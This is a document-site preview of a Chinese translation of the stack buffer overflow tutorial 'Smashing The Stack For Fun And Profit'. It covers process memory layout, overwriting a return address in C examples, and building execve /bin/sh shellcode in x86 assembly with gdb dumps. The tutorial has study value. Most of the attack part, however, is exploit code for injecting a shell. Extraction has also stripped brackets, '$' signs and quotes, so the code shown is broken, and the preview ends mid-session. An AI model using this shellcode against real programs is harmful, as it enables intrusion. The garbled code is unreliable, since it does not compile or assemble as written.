溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit_第1页
溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit_第2页
溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit_第3页
溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit_第4页
溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit_第5页
已阅读5页,还剩33页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、践踏堆栈C语言编程 n. 在许多C语言的实现中,有可能通过写入例程中所声明的数组的结尾部分来破坏可执行的堆栈.所谓践踏堆栈使用的代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash thestack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memoryleak),优先权丢失(precedence loss

2、age),螺纹滑扣(overrun screw).简 介在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图解释什么是缓冲区溢出, 以及如何利用.汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例. C程序员通常和

3、字缓冲区数组打交道.最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.进程的内存组织形式为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈区域, 但首先按照顺序简单介绍一下其他区域.文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行文件的文本

4、段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误(segmentation violation).数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间./- 内存低地址| | 文本 | |-| (已初始化) | 数据 | (未初始化) |-| | 堆栈 | |-/ 内存高地址Fig. 1 进程内存区域什么是堆栈?堆栈是一个在计算机

5、科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.为什么使用堆栈?现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,函数把控制权返回给

6、调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返回值也要用到堆栈.堆栈区域堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令PUSH和POP, 向堆栈中添加元素和从中移去元素.堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.堆栈既可

7、以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被

8、压栈和出栈后, 这些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.考虑到我们堆栈的增长方向, 从FP的位置开始计算,

9、函数参数的偏移量是正值, 而局部变量的偏移量是负值.当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于有效地序幕和收尾工作.下面我们用一个简单的例子来展示堆栈的模样:example1.c:-void function(int a, int b, int c) char

10、 buffer15;char buffer210;void main() function(1,2,3);-为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:$ gcc -S -o example1.s example1.c通过查看汇编语言输出, 我们看到对function()的调用被翻译成:pushlpushlpushlcall function以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所

11、做的第一件事情是例程的序幕工作:pushl %ebpmovl %esp,%ebpsubl ,%esp将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样(每个空格代表一个字节):内存低地址 内存高地址buff

12、er2 buffer1 sfp ret a b c- 堆栈顶部 堆栈底部缓冲区溢出缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:example2.c-void function(char *str) char buffer16;strcpy(buffer,str);void main() char large_string256;int i;for( i = 0; i 255; i+)large_stringi = A;function(large_string);-这个程序的函数含有一个典型的内存缓冲

13、区编码错误. 该函数没有进行边界检查就复制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就会产生段错误. 让我们看看在调用函数时堆栈的模样:内存低地址 内存高地址buffer sfp ret *str- 堆栈顶部 堆栈底部这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的内容(larger_string)复制到buffer里, 直到在字符串中碰到一个空字符. 显然,buffer比*str小很多. buffer只有16个字节长, 而我们却试图向里面填入256个字节的内容. 这意味着在buffer之后, 堆栈中

14、250个字节全被覆盖. 包括SFP, RET, 甚至*str!我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回地址的下一个指令, 此时我们就得到一个段错误.因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.现在回到第一个例子, 回忆当时堆栈的模样:内存低地址 内存高地址buffer2 buffer1 sfp ret a b c- 堆栈顶部 堆栈底部现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.

15、堆栈中在buffer1之前的是SFP, SFP之前是返回地址. ret从buffer1的结尾算起是4个字节.应该记住的是buffer1实际上是2个字即8个字节长. 因此返回地址从buffer1的开头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句x=1;, 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:example3.c:-void function(int a, int b, int c) char buffer15;char buffer210;int *ret;ret = buffer1 + 12;(*ret) += 8;void ma

16、in() int x;x = 0;function(1,2,3);x = 1;printf(%dn,x);-我们把buffer1的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用过一个试验值(比如1), 编译该程序, 祭出工具gdb:-aleph1$ gdb example3GDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying

17、to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc.(no debugging symbols found).(gdb) disassemble mainDump of assembler code for function main:0x8000490 : pushl %ebp0x8000491 : movl

18、 %esp,%ebp0x8000493 : subl x4,%esp0x8000496 : movl x0,0xfffffffc(%ebp)0x800049d : pushl x30x800049f : pushl x20x80004a1 : pushl x10x80004a3 : call 0x80004700x80004a8 : addl xc,%esp0x80004ab : movl x1,0xfffffffc(%ebp)0x80004b2 : movl 0xfffffffc(%ebp),%eax0x80004b5 : pushl %eax0x80004b6 : pushl x80004

19、f80x80004bb : call 0x80003780x80004c0 : addl x8,%esp0x80004c3 : movl %ebp,%esp0x80004c5 : popl %ebp0x80004c6 : ret0x80004c7 : nop-我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.Shell Code现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?在大多数情况下我们只是希望程序派生出一个sh

20、ell. 从这个shell中, 可以执行任何我们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a

21、 b c- SSSSSSSSSSSSSSSSSSSSSSSS0xD80x010x020x03 |_|堆栈顶部 堆栈底部派生出一个shell的C语言代码是这样的:shellcode.c-#includevoid main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NULL);-为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载

22、的时候才会联入.-aleph1$ gcc -o shellcode -ggdb -static shellcode.caleph1$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-

23、unknown-linux), Copyright 1995 Free Software Foundation, Inc.(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl x8,%esp0x8000136 : movl x80027b8,0xfffffff8(%ebp)0x800013d : movl x0,0xfffffffc(%ebp)0x8000144 : pushl x00x8000

24、146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc 0x8000153 : addl xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble _execveDump of assembler code for

25、 function _execve:0x80002bc : pushl %ebp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx0x80002c0 : movl xb,%eax0x80002c5 : movl 0x8(%ebp),%ebx0x80002c8 : movl 0xc(%ebp),%ecx0x80002cb : movl 0x10(%ebp),%edx0x80002ce : int x800x80002d0 : movl %eax,%edx0x80002d2 : testl %edx,%edx0x80002d4 : jnl 0x8000

26、2e6 0x80002d6 : negl %edx0x80002d8 : pushl %edx0x80002d9 : call 0x8001a34 0x80002de : popl %edx0x80002df : movl %edx,(%eax)0x80002e1 : movl xffffffff,%eax0x80002e6 : popl %ebx0x80002e7 : movl %ebp,%esp0x80002e9 : popl %ebp0x80002ea : ret0x80002eb : nopEnd of assembler dump.-下面我们看看这里究竟发生了什么事情. 先从main

27、开始研究:-0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl x8,%esp这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,然后为局部变量保留空间. 这里是:char *name2;即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的空间.0x8000136 : movl x80027b8,0xfffffff8(%ebp)我们把0x80027b8(字串/bin/sh的地址)这个值复制到name中的第一个指针, 这等价于:name0 = /bin/sh;0x80

28、0013d : movl x0,0xfffffffc(%ebp)我们把值0x0(NULL)复制到name中的第二个指针, 这等价于:name1 = NULL;对execve()的真正调用从下面开始:0x8000144 : pushl x0我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.0x8000146 : leal 0xfffffff8(%ebp),%eax把name的地址放到EAX寄存器中.0x8000149 : pushl %eax接着就把name的地址压入堆栈中.0x800014a : movl 0xfffffff8(%ebp),%eax把字串/bin/s

29、h的地址放到EAX寄存器中0x800014d : pushl %eax接着就把字串/bin/sh的地址压入堆栈中0x800014e : call 0x80002bc 调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.-现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在寄存器里, 并且使用软中断跳入内核模式.-0x80002bc : pushl %e

30、bp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx例程的准备工作.0x80002c0 : movl xb,%eax把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引11就是execve.0x80002c5 : movl 0x8(%ebp),%ebx把/bin/sh的地址放到寄存器EBX中.0x80002c8 : movl 0xc(%ebp),%ecx把name的地址放到寄存器ECX中.0x80002cb : movl 0x10(%ebp),%edx把空指针的地址放到寄存器EDX中.0x80002ce : in

31、t x80进入内核模式.-由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:a) 把以NULL结尾的字串/bin/sh放到内存某处.b) 把字串/bin/sh的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串/bin/sh的地址放到寄存器EBX中.e) 把字串/bin/sh地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄存器EDX中.g) 执行指令int x80.但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指

32、令,这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execve调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit系统调用. exit系统调用在汇编语言看起来象什么呢?exit.c-#includevoid main() exit(0);-aleph1$ gcc -o exit -static exit.caleph1$ gdb exitGDB is free software and you are welcome to distribute copies of itunder certain conditions

33、; type show copying to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc.(no debugging symbols found).(gdb) disassemble _exitDump of assembler code for function _exit:0x800034c : push

34、l %ebp0x800034d : movl %esp,%ebp0x800034f : pushl %ebx0x8000350 : movl x1,%eax0x8000355 : movl 0x8(%ebp),%ebx0x8000358 : int x800x800035a : movl 0xfffffffc(%ebp),%ebx0x800035d : movl %ebp,%esp0x800035f : popl %ebp0x8000360 : ret0x8000361 : nop0x8000362 : nop0x8000363 : nopEnd of assembler dump.-系统调用

35、exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行int 0x80.就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现在我们构造shell code的步骤就是这样的了:a) 把以NULL结尾的字串/bin/sh放到内存某处.b) 把字串/bin/sh的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串/bin/sh的地址放到寄存器EBX中.e) 把字串/bin/sh地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄

36、存器EDX中.g) 执行指令int x80.h) 把0x1放到寄存器EAX中.i) 把0x0放到寄存器EAX中.j) 执行指令int x80.试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串地址和空字, 我们有如下的代码:-movl string_addr,string_addr_addrmovb x0,null_byte_addrmovl x0,null_addrmovl xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint x80movl x1, %eaxmovl x0

37、, %ebxint x80/bin/sh string goes here.-问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切地址. 如果我们在字串/bin/sh之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了.

38、 假定J代表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c- JJSSSSSSSSSSSSSSCCssssss0xD80x010x020x03| | |_|_| (1)(2) |_|_| (3)堆栈顶部 堆栈底部运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:-jmp offset-to-call

39、# 2 bytespopl %esi # 1 bytemovl %esi,array-offset(%esi) # 3 bytesmovb x0,nullbyteoffset(%esi)# 4 bytesmovl x0,null-offset(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal array-offset(%esi),%ecx # 3 bytesleal null-offset(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmo

40、vl x0, %ebx # 5 bytesint x80 # 2 bytescall offset-to-popl # 5 bytes/bin/sh string goes here.-通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的偏量, 我们得到:-jmp 0x26 # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb x0,0x7(%esi) # 4 bytesmovl x0,0xc(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi

41、,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmovl x0, %ebx # 5 bytesint x80 # 2 bytescall -0x2b # 5 bytes.string /bin/sh # 8 bytes-这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们必须把要执行的代码放到堆栈或数据段中,

42、并且把控制转到那里. 为此应该把代码放到数据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb来取得二进制代码.shellcodeasm.c-void main() _asm_(jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb x0,0x7(%esi) # 4 bytesmovl x0,0xc(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 byte

43、sleal 0xc(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmovl x0, %ebx # 5 bytesint x80 # 2 bytescall -0x2f # 5 bytes.string /bin/sh # 8 bytes);-aleph1$ gcc -o shellcodeasm -g -ggdb shellcodeasm.caleph1$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论